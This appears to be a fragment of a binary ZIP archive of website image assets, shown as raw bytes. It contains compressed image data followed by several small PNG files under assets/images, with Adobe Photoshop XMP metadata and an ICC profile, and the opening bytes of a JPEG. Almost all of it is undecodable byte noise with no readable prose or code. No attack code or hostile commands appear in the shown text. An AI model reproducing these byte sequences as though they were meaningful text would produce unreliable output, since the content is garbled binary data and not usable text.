�d�2�%֖eZ:cR^�JI��A�Aa�	�h���n��A��7f��$�.��0�c�e̅A��e�����DW���c�ɋEba��	�&�q�O�ǝy�0Ns���"�		�����q��去iԬV\���y�+�z��'}m¦��w�fuƱ۽��7��C�$ů�kW�f�5���`�],�3�U�a�T�UKP84��2���c�'�q3�6[��� j+��rͭz��^HR-(���C�SK~a..3�	��k��a��gޢ��Ѵ�=�v�2�3�.�T�8vN�:+�����fj�>
�a� �J�C������),<h��g_r�0�j�(�aR��O,���>(sz�x�5�n�曹��jp3��.�~Qm�ߢ;�R+��=R+����n��C�sڦy�>�:4o�q~z��u9�L����/q��׼��վ��i��3	�>sGZ�{ĭ��W%iT�ɐ�T��o�DpP���״1����_B0x����'�<y?���<�����d���ŹA����F�泷ݦ^qE���'m��X(��O�*���|�2���3X Y��r�9�U�NEX5���rU�i��,CF��E�u3�c]����.�3NC�(��X��Q�>r��4B��3p�W$<�6DeEG��Rgii��>
5�/V�Q�U�*�~Y���lU*z�,I�s�շ$�oѠLf���c�Q͢�
���W���Sw�~��BC�Kg�7�9�I~�B
HA4��qM,�`����i��]�X��=��#r���ϰ��j���_�js���f"6̾85%���?f�Z�Z*|V�,�%K<⯣�g���g"�[��!za7"z�Y��<��"�
��z)O���?r�y�8���O8�����ݾv��_�p�l�Z�6	�D_��|�E��鉆)��Iר�q%����U!1tӻ��ll�X���j�[���c�岳�ɋOZ��Kx��Dz����uC$�#kvT~�z穜����}U��є1�'\	�V��=3^�i15j��DC5�p^���}$�HT?����g��N9�TO�@��~�h=
�j>V��'�X�a�Ӿz!�2�|�� M�%C�4
�0���k��崯�p�O)�x��W[;R�/��z��¬�6�_��xZY�E2
�Ѯ�;���Fq�{��{��!C���r
:z��%�[oUO��V_���mbgj4	prz�5a� Y&��$,��j���S/v�`�v�=L{�,����������8&����]]��^�c"��()�q�澌�ϱ��tE���鿳�?��h��D�b�p���PD$���ߒ�}3�;�i�PuS^>.^)��B���FPH�S&Opi\��4B���$U��;��Qy.c�h��%~�x�P@�)6;+ΓC�䱌�����%^얌-���fHIH���+��I��-�p�5��0X4pxҋ�o��|�A&^�4��f�^�p��~B �`�}����#l3)LQ�v��s5�>�/\-�Db5A!�G
b^m��pH2 �q��i�q7��4�����jk�J�����¨����,� #�ݚ��Nw�tҹv�n9�Sj{HSk�W�I�l=������,"���6D��-�k��@0F�1��?�wu�;�\��i9�Z���5����iZ�A�>�����Gs���&}��ey�]�>��w���N�zy�~��N !I��ȕ8�/�em��3���ì� ��PpD,�s��`�
DH�$@A9�=�<��p�HO,���7<	�a@�h�S4��@0��GR�i*ST�S�H����=����I�I�*Ϡ�$*2��O��T����T�9��FH�8r�'f�\mer�j��(�`��[	r��׾O]<������T^I�T&��_�r��ɪ���?�����-"�0���5"V�4
l����o]�V��_*��uc��L��E�b*R�*�L��~�ʏQ�wYx�֩-G G������̐(��lA0��ba��&O�T^(�����5���'�����<��;��F�	�j���-��n˅�o��A�x�br�w��Xh�_�r��4����#�r�*�S���0���G���U����C��5*�QYS�0��ȴ�%��@0d�U����������(���-J��-Y���O�z*�kĩT~��C�w`A�O8� 
��S���c'�b��"�0�3e��_;0�"�M�iTn���w�~-�I��$�4�|��R�]T~�g���8*(�E�
�7�>K��f+SI�������aT�I�*��r:�ST�����;��F����_�Q�7�X`{�.�>^��(__06�آ)�
M�����f^
/�"n[��v�A3�����$�Xм���Qy�8�ό��I9"Nfbd�ώ�W���(B@�!*W��ω����X�rnIz����5��l��C0�%���9sI,��2*�5�­ݗQ����^���O��	��@��^����z�(�X�c��� �%��rB8Z;l�eACu*�!���Z���Yzn��V���
W�~x�[��]B۬S�S�ڼ�|��掂�#�����X��C��j�m�>�S����0|��^���~ߗ�~K��q�ncy��صa��g�Hj��ʇ�Z}A��}�s�'�~n��ָ��px1	�C��D�G��T\�7H,���	>-�pX{_D��@d0p[F��a;%���Hw��d�8�s�dK�=���uǞٟ���%�ͯɇzB�ʸ�-s���ȫűz���ؗ9�g�~�3T?�UT~�ʍ"�y��v�������z���;ʯ��YT�C�V�����Q����w���s�F�e��i���^7�Bm�B������ڰ��%
@0@,����ڡeZ��
�Ɛ��|�0Z�Ð�,k/�m��G3T85)��5�ׯ9r�O�ߤ;������ǻ�qn��/ح�ZK,�'��:p\.�n�oU�ϫbl�Ò8Ĉkj�*�����w��}@���߯6&�T�~<�b3��]���U���m_{sI�J�ޘ��X����Ă]3e?$%qB8�a$caG��aGlI�c�]簱;eN�-x�y{X�qXY���B�R�!��R,��>,Xt�{uYY!Jrn4E��gy��u�������ؗ�v9f��E���q�G���<^��w�8pl���g��9�#�����1
��k���]gO�_��'DD�����}����E�sT?�0ok���cr����"��8H�^�}�T`(��X`'��γ�S�$��Gv�t--�:�i4*젭K6���hwp��ru@K�y/�8�V[GW]����D��c�	o�?�\��M��6�(����ӭ��VΥ).����kyT�q�\Nk�1������n���~��7�͖�<��KD�1OMXļU����ui��s�
.���'~�OI�R�T��@Cb�p@zC�K(����=7����"�>+�hY�/
���S�t��&QS2�
vKC)๭�2eY��[���~�8���[^��k�����?P�1��{��0�	�CCQĂYk�Y�E$p�F���T�2Q<M�_���)j_'�w�Ԁe�/����u3����y�g���'�6��p���^�������7ixgn���T��8��2¸I�g��0�s��-"ha�I,XȊ�^�9_�>
l3��p_�o2��35%hy�/���>��y����%��" �k̸5�xqx�$�ݟ�~(�	1�͝9�$��X�jqr�_ג)��r�%x��݆X8[�S��_�g~��3<>��W�W#n�s�?O���)n�"6?H�C^�Q��}�c�ר͘�7��L�!*����*y�<k��-�Z�X卍���!����O���k�۴N'`Y]��m�.�V,��k6gd]]��$�9[�+�RM��@g��I��P��Z��FцAb�[:��x޶�4�x^۴lC�}-���õ���Qq|��=G�K�����s�������U�E�WT?+�
;8��1����U��l�k�Gm���ˏ�s
�_'~ NU8��%�t�ä�}�O.ge}MI���-,�����GJ�%N��grGot؛��/�~�\�������6G^Dna`�@e���,e���R�Y��T�:K��!�n/�(5;�ƶ�L�z2��<۩V�3p�r�j���- �����^�H/;���P���!H,�ی�iiA�:_.p�8�?,/��M�W�9x~F��Gp��GR9���8?)���5�*"�3�<K�ݮ�-3f�­b��"8<��$����=O7�a��A-b��}^���y�U�{�3�|+���-C��ǩ/�ّq�P�'�ho�\1�^��NR��zB����C
�(�i7����y���`������w�f�߶�X0�.-���([����v��w��^�5�vV�{�=[YT9�2v6�H�*��k燝��E$<^D�?�5���Q�րaE�,p	}�
����_P�~
<��B�%�pT���“���?�y�������Y�5��S���pf�xă�}*��KS�.��w�v�Y�ꁻ�L�z�}
��<��1'��;loZ��6�5\����GEM�X~�����%��������N.�����
P6���.Z�W�ﶱl�Zv�c۹�z�#��UT�5dؗGI����nep=�MG�y�<��T��k���+��!�X�+$t�cU��M�y���8
��D����Dկ�>,�yФ���c6�,��p_s��^��=��\��[�N�U*��᱾C��8-��7�.�O�:,�z��r�d"���<��73<����d�O�~� �ڻ�"t�o�za��iq�T@����Wíy�ǡDz<�׈�	���a�3HM0�Й���͎*��t�f���K��e9s�QJ���]����2��*̱r����=k5U��E�a�z���!��e=sa��,��r����g�O��5��U?�'�?p
�>|XE�ޓ%v�;�?$�𝜾Z�E��{����*Z�DT��;�Z��p��!\��E���AX{ٿx��,��q;B����HI0��ޢҐ��ql=��yݍ��Y*5���'a��c��ְ�Qb֣��m�(���5���8���Us�aؐ<,^���ڠ�4Im�3'�2���~r��| ��+�+�w̾{<�ٲ�C���Y��<��kR>f�������ST.p�b�X`k\����:�,D��&�O[����}�!"���-,��a0�$��.��Z��Q����M�&����/q�Ҿ}�F)_|�r��Vsi;O6U�o��̊X�}`��5��c�+2��
lHE4���z>�L�p*-&��¼%�$�I?�<�C���m>���G�;>���~��Έ?{�R[Gx�q��!;��]���Zt�S�~�DCsr��3��O~���
���8u�)\����=A�򧆑�_������,n��m�fHX{�$����~�6N����[X���?���;�6�t|*^�e}�����Ҙ^��a�C[�5��t�T��N_��H�#i�h
�E��!�X����^�Q��f�9�y���L!:�]mD���Xb�s"�T<���?W��A�Ǯ[?�ӹ�xO��d�������5}�*IOgt��|&���goX�dI�boRD��C"bϑ����`�X��|,�p�%�LF]3��i	Pl�^���^��]��up�@^�!�X`���çaV�RQ�[��钋�.��Fu�\�����N���j2��ם�����Je%�sŎ'w4}���9��K�u%*�y��n�=�`1�?E@\9���?A_x��$����F��љs���i|��Qf�Ei�Fx�LYB�5V<���i[N\W�{�am�$ ��)�\|“f��u(� }o�}���8x`m��5q�h�gV�-ЙϠ�0�K��Ϩ�U�{����Xأ���j>$���I��'w�6�5�:���w��1�R���R�?
7g�������{[�4�/4k{{�Q�V�Zh�uK���$�3�!���L/$)�3�goN�0�&E{����:��ڰ�W;-A��O��)�|x��G��ba��z8�^7jɁ�9+�E�D�Y�I9�vڦ�#&��V���G��G,��R���=ZP����yZ���-S-�}j���&$���kׯq��'�����c��v���Z�������[ʶ�S�;S��c�[�'i����P>Z;�F��y�q��B��fo���7I��W:����u�����%�m�2��!�,G%g�/�R��a�\VZ0�<�	���0�S�6	�YqB�=�\��Bam�O�#�Ѻk�J��-��x����4m�g���jK,�C|AbACB�`bA�~(�m}Z��?Qy�����4�a,s�naxl�b�
��#������p�iC�b��&M�r��~y�l��	9�;^�A�l�ș�D8,�8�f_^~J��y,�R�5��F��%���m��K�<�TQS��q�!N[68#��!q�`3��5�$ЗLgFZ�9O�`vK���^�0��Uʭ�G����<���1џQ�טG���i-â�$VDѰ&��p��*�2�ۛ�ދ��_���6p����z��C&jH��+j3�u6�	���X!�E�+{Ԓ��2�,�6��g7�3#kDŽ�G��!A
��G��օEk�"�0T=��T��p��?$�a6ؐ�h��pŴGDz�~��)��Z�9k^��w�Vʡw�5\��#���s��-³�K,���qRp�wF~!��� v��7)~��&����ے��e@x�ur��J��?p�<H�{�G2I���r�ʅA��Vǡ���%�}�Ѽu��#T�#���a�r��W��W8��֕�	/ǝ�miU�9y�wma!��e�����lSjE\tB�9	���e��0i�7k�y�`r�����|v��>���<[]q֦�h��
~ϫ�賓�|�߇$M,���
��t�:/������f9��<��[��0�yj��ݳhe�3ҭ��g!�љ9c�>=$�}�s�y/�g�ki�ܡ�"N�Rن��}}���<�!\�7-��p�_��6��Ϋ��,�)������~�������:�X�?B)hy��0˺$�:�B�4x�BH�a�u����jjs���Y����t�Z�F9�j���`��.v�3�8�v��
I�)"�K��Ϫ��(g=?a1/勇
�]7�;��;�W��X�A�����9�2�Y���#GՓ��d���V����"���ha�{N����2���i�2p��ƾ��v�-�q썒%i��)Ù�����}�^
9��_U�֪�e�A��R E�`?$����x	��F�
��0�M4X�c�Jm���ǭGi6i�e�5�2[Ҍ†B<�,jw��S�ڣͷE@��9��=��
�lv��,戮��z�u�J���(X,��A?��X`��s$>��q�ߔ��$���r�3�<��_���B�F:�/N�8�I��:O�����!����	��}ox`�k�w|HV4H-��4]p�$�"�Ƶ����=��Q�R����0�8�aυݺ�1����&͢�&L&9���L��NGm����,���"���q�J��&9!iԀs�����kE9���=�܁�;����wh�&��Teߑ}��l�A/�ca�v=#f��[���{!@x� �j�F��ٱKl0�_�Qg��X<�j����
Lj�y�f��߶<��Z�������3]��r5 l���<��+��9(�!};���O�������ST�D��f�HC�s�h��{�����֖��Y�1!��f��{��r��Kx<�[������[ۻP�p3x�Έ�A�����S���6G���_�SJ�Ճ�ש]��Q�!W$��t�W�,Y�����眷�C��g���?P��k��-*_є%?���g����hx�苳�19r�''��ҕ�]}�8�I�Ù�G�z�"ih{׮_�(���{T?䎟�L�r&�x�9�;�`�[4��5u��sKJ>#��Ȅ�(v�Z�"�N��
c��¿%�}ۨ(��J�8��A�O��qt�w+CP�`�ؾb��Y��ʝ�O��8�f������[��~��;T6�8�&gh�p���Й|O��LZ:ȱ}%9ќ�sA�'�c5�;��q���}��\��^G~�J�^ny�VB��S^iV7��8%h�`pX4x�Ds:���@M5D$�z<�̊�ϫ�s�k1��`����U�c,����������c�;=/Oi�+��z�cr㤐e�ř��՘v��]���Y��k�o�aQ����ߊ�jb�|�1�~5\��ϣs�ͣ��Ҷ?��{f��U��Ͱw�n����8����g�iv&�c��,�xp.�1��s�!�����i�j$"U����h޴
�VU�=�,1��P�0�w�~��"��h�v?
��>W"ny�Q��J�q�ܣ���3�_������������M%�>�3 '��}96&8;�+���'B��T�&��Ï����2�]�H���!�߫ce�����)��ٓ������_���x���i��>h0�Cz$�q��J���������f�c��#3�8ۧb��~^<T���.Bv��2��Ep���Rx����ӗ��ߩ�!^>�?f�=�w�sx���&�#�+Rq�8��/JjM:Ξ�$b٫TaR�����3<Y���b�Rg��A#5� }VD�p��l�pG��f��ɫ���ϋc����J��"����'H��%�Q�0"=�]��"b�k��z)<�6�F��)B�[D�e�;�F�k3�8I�г���P�R������b�{�ۇ�8�P�/P�����X�`�L�{���;;��b�A�o������K��V�0(D��v�۰���Py�Ө�i-�}@8D����G�}��q�Fb�8
�=��4�����x�>L��� �ܹO��{�� ��j�VE��V��3`�=+��Y?��"):����8�=�=U�SN�7;�[v;x`-�<���c��PB�zܪP��P�kP�퉄�Ab��*8!`t�����o��Y�t$c�9��ښݩn����B�`Dag_j[T��3�A�jG��
�"�q�hO�/�Z}r�j��(�S#-8��.��71�Yh�P����4�/���h%dY�u�Z`<��5$��.����E����J44k{�ϥ�VyY�1�a(��F�a>@4l�@T�PPDT�   
 qЇ�Z���`@0 ���F�#G�=�I����pO�~��\��v�Z+��8�ʿS�W�`��c�,�ڰ���΄��$*�R�$�_�r.I2,,,\��յ�F-;\.�����k]�e�`1>�iC�2}��Y��� %�X8UD�ѢD"�XyгA����c�~����e��C�c�"�����l��s�b��߱��kӴ��߉4���B�����^��\F�D-4HS,|��oP�o�*�xV��j�����R�
��,¢N����e��I�\�b��9�>J�-˲,Z"�Zc���XDz	HpW,�{eLL�Zh�hZ����Z�4��FU,S����`���$���V���L���ި�Ik’���:�VZ�C5J�C�Y$�D��8ba\e��	֮_����p�=�C˵qM�ؿ��'�j{f�b�������ge��vG�O�w(�C�=v���{@4d�9�m{w�(O��8*�����a-w"���^(��{�*�˜@�;�̼�窫��^*/��}�ݷo߼�b!$�����}wT,���i5��e!!5�K*�V��ѭ�N|>�ֶyN�pXeYD¬��5/���*BK��r}�I�C��B���MBa���M�0��眷g^m֤&A+�� [�9z����,��#w�%{f�ʎ� �WDKJ��7[(f�:;�͘WÅ\
�\���{��Tm֮��[��ߥ�@�e��P+{pX,��c�-&"s��+^��^m�կy����YI �u͔��qz�贱ڱ7DC'J(;ȴ~�ܦ�u�)�[DҤ'XsB4�sޞG��_P�����}�V!��!��^� �X����2	�[4�2�[���*�G�i��=�z��
�Qy�
q6(���j�B��/W.b�'��*����$��^���`��85�&C,x��{������tQE��吟�!,xtXJׯ��}ڎUS4$�-z������If��x�����w�'������H,���`�������0_,���	�-�G-�-��|Y^�۶=*�|��}~D���\������K����!�P�Y��;��q�<��[	�/��oOݡ�|l���ȸ�FI0BaIY��4�7K�}˚�5�P���+���D�4�����#�1�O,�`A����G�t����N����؈"
଍�X��w�t��a޻�D��Wc���{��/f��TҟJ�pv�u��
�{�wsF,�sޞ���E)�S|�y`��^u�Uce/A�@�{ϙ1n���p-�23�E@�Ū��a^v�
b�+��v�i�����Q#z�9�X�վIH�a��8�L5�C�5pMSgP�̲�Y��K��"����JGh��wV�!�B��.�rwPY��E�š�ښ���L���~y�{`/1�� �Xh��^�}��/T�`�M�=q �c]�]��C�7�/߶�]S�l�0�!+��Y;o|��׼��p���\Ӡx+6���v�FK�K��y��ۣ�U[�0pŸ'*E9I�S�c�r��X8�=��yL�E����
�mW2?�\u�U�٫�j߾}�Aꂡm8?�˹i�D�<>^]ݒ�aEb�/�)n����%Fڲ|����+E>������+^�ʲ!ꃖO����&pMłٚj��9���w-��ZPu�F������Ѭ���N��Ԫ��o9�����!�d�1'~%�2Ϣ�W#�7{��e%�@�!ůVK�#�ն<>p���ba;C,��X �Q@Y�\�gU�p��s�5cJt��1l�uIYt�R��Y{�m�6-�2A����<Ľ�.�u�y߈9��f/p��iU�,If�/;�M��r��|��8ti߾}���Pd��Z��Ă\�(�6Y,�n7Nba�G,�����&��*�㷢�_#���"]�.�.���n\�K]�q!	�K�A���4�;qѷrݠ"8"4`A
S0Kq�<W�:0��xOz����J��������Kn�}������CmnK����~*�&���pJ"��s��ę�mw��'}�߄1G�o��e���%놪V^Pv��K��8�$(����I�ec�����\�je����P9�03V(,sN�i�X(�ʂc��n#n:ژ���z���{ų��7�y��ƽ�ǒ��KY�귈�l�w����J�U����A��ȮG�A��K���1=�LJ, jeL�>���~����QW}C�̀���C�Qc;k2��i��]隼�~;�JCD_�LƠ���x.(���ݍ$cj(�
�D�؁2*����g��q�A,TF,�F�s�<��iT �1��Ow|,7�����-r��R��`�ALٛ\��;E�8�@h��:�\#휴���}z��oz�@��s1�������
+U+/(�`���KR���z=����R�v�a�`pW j��
���%"�^�:�1�s��0R���&�ܶ�+)�a�!�)�XPF3�&g���>'	G�zD�-�j�ò�~�j�j
�K��\��A\��Bm���,hWcj;|'
�%�Jf@W�������zn��)�c�vQ�3zp9��g���s �cX6.`P�_���g����Y���q\B��T���l8�����e���|�`��8��/b�hY4�M%�v��X(R��ڱh��h���?g���~��Q�:P���
��7^ǜ��
��'��x���1���v�:P�Mi�$��\c�D�Мgvnq����ܽ�ɁX�]Yh����-\-#�^��\Vj�;���1��y��<�׸,�
�e�1��T/����#dա������Y7�o:���x�eY�=��f�s�fW.��m�ɗ�}ܖ�Ə�yC��G)�|m��Y"�Q^��0�<�6#�N�a�e@�`��``�&z�l�v��{�B��J�����r����4����4��ڽ�7�_���%<�,C�d���]i�i,�n��lE��i��� 
�y�z�ӂ�Yl_��wۅ}�{)�^-b�����ڇ�����=޷�O��CL��AE;
�d1L������y������v�)/����)����y	6극ѹ���Yu7%c�s*PG�wS��������rm��������龚@��MP6E8��-�P�L>�f�;�8a_�“e��g������l0�7Шs?���U�=�#f�)#T��3
�,��ӗEv�(/�zfA@��m��!�;�TK;�_�,��{�·X(�X���
$�>�s0�‚Z�������f�%d���~%�r^�E-��fI�)�3}7qڵ�3��d��kN??̻���X �{k}c����9\N�Ϳ�q%�{y������v��)/(�`p� ۨ3G��y<�!%����Xȼ�f<g�[�b!k���wc��^#�z��i�'?�&�;
��ʊ�'�-�2�n��;��<�G|�ocO���,�W�6gI�^�ȭW��2	�`�T�:Ձ��Ao�
�X��OĂkH/=�?�
e���p�A;,I�R��ϸ��#��^�6wzr|o}cs�>��/���z���ne�   �!nƓ��Wf}�4�G��1J)�|��K��鈓��Y2]ǔ�.��
!ZAn��
�w����
w�h�Ly�KP�:�,�u!`c�������0��
��XhD���b�X�b��gɩ����H!�C��:��C�v��rL���
����l��gf��c1�M���
w�h�Ly��(G��L�q��$�p���B������
%#ĂW١�X�@�}�G1`#x�:p��}<�4�	h��@�کHs��={|œo�㵌�}^=~6朧}*�
��Z�P���2�2~Z<��  �DC�� �5>o_p-~�L���q�s��JTV�6�z�ۥ�e��]������M.[���
)a��Jܵ�'����lD��`7ԓf:0���N~��=������@�¡�e2�1�bu���f0�%,�UI��4���Z!��]r%:�qO"cZV��.x�!"oc�*NO�ݧ���w|�r�v�o�Å�kr��@0TU,��E�����c�Y�� ˚�N2���`IY��
%	�Q���f�dW�8�=oc��m���hˤO�HΉAQ\M�h��� �(�	�9���Ab��PR�w�پ��ͩN;l��A{���t/�$ٞ�S�c��K��u�:�2�����>=9�b�A���4��X(���Մ����7+4��?4��=^X�Xp}-%H�5����vQ��]>
r4��R��:�_?�����fݜ'E�o��3�,b:Q��'_<�\�q?q�ؽ�G.{�&aƙ�X����� 3$�h �=Zi�q=�Ն�=	�
���qq�.I�X����`@0 �Pz�`P���!ZIEND�B`�PK�y3\[ێ��assets/images/gridtile.pngnu�[����PNG


IHDRr�
$tEXtSoftwareAdobe ImageReadyq�e<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmpMM:InstanceID="xmp.iid:DC00FCF94B8611E39E86A65E52B214D2" xmpMM:DocumentID="xmp.did:DC00FCFA4B8611E39E86A65E52B214D2"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DC00FCF74B8611E39E86A65E52B214D2" stRef:documentID="xmp.did:DC00FCF84B8611E39E86A65E52B214D2"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��I�IDATx�bb``�L@��a0G�]��IEND�B`�PK�y3\\�rZ44assets/images/resize.pngnu�[����PNG


IHDR$$���tEXtSoftwareAdobe ImageReadyq�e<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmpMM:InstanceID="xmp.iid:0C2D2AEB2C1611E99859C4FACCCFBCA7" xmpMM:DocumentID="xmp.did:0C2D2AEC2C1611E99859C4FACCCFBCA7"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0C2D2AE92C1611E99859C4FACCCFBCA7" stRef:documentID="xmp.did:0C2D2AEA2C1611E99859C4FACCCFBCA7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>-��#�IDATx��XKK[A�1US%݈�ْ�I��"B��K.t�����"�F�Jp[K��(�Dݔ6.S-���|����Wz�#s�̜�e��yLHs/1�F��`�dDe�o�wF��a|�RFD�	3�[�[�q�[9gZ�0$���������,���Q6����s���@�Ї1�ȕ�.τ"��phh���4��ܐS�X�\����f�6Ƈ�aZ\\$��%ImK�a�!���Q�P����S���f;B
���022B����@'tKR��`Eh{zz���lHR�f�p����J�=��lIR��	�0��4����
�,}��奧��s	a=!8.4��7<<<L�H$��8��j��J�\´�ܼ�f��
��)�)	m)B1̜����hjjJ����#��0�
���9�D���[<wvvFjnnN���f~
V��q���B��r9��������JiAH*�RM�%v�|�r������{��_���Q+��
�����<x�H����"T�T�� T��3APL&��}mmmBYoo�gB�-	U�szj��?�����N	�~2'�V��%�����L��ᔕ������I����x������/�Z�-�˪�C�0�X,�>�f.���弃��,�Ȱ�e2�@|
�����b�wMMM�s677U�pז�Ë(�033C�{�(t�W��*���'�Pn{ccC[XXp��������Iq0ظxWWWw����	ؔ�~!X2K��~�*�C_}}��yKKK�	�]
�D���Sأ�#ARJ�%��C���qtvv8�tS�S(���^(B��BQ�sFV���|~:t�tV�pu����edyy9�ˆ2L�	��1���"�C��@�Ї1�XLO�P��}?������Š�wN/�B����+�8���B���'�Wzܫ٥OR�IEND�B`�PK�y3\�A����assets/images/red_diag2x.pngnu�[����PNG


IHDR��
tEXtSoftwareAdobe ImageReadyq�e<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmpMM:InstanceID="xmp.iid:2F242A8CFD9611E7AD9BB356EB1839D1" xmpMM:DocumentID="xmp.did:2F242A8DFD9611E7AD9BB356EB1839D1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0B0BA389FD0711E7AD9BB356EB1839D1" stRef:documentID="xmp.did:0B0BA38AFD0711E7AD9BB356EB1839D1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��!�SIDATx��λ ���,��0ptL?���F��h0CZ�r4�T�®!R�
ǑI?�ҏ�G���R�(<�n������
0A5C�D��IEND�B`�PK�y3\2�߉�assets/images/move.pngnu�[����PNG


IHDRVΎW	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATxڬTA�03Q�^^~�V$D �q�nl�
It%"� �lj��E�a��D�ıY{�H�ü�F�+��H��5���.�ɏ�ʓSe�fC�ͼf�[�����*�ku�<Ň'�-$�36b��]���g'I�;a_�f�>�xѺK����I+��]��gٓ�#Տ*���-v�����*uIEND�B`�PK�y3\R�KRR+assets/images/guide/video_addnavigation.jpgnu�[������ExifII*��Ducky<��http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" 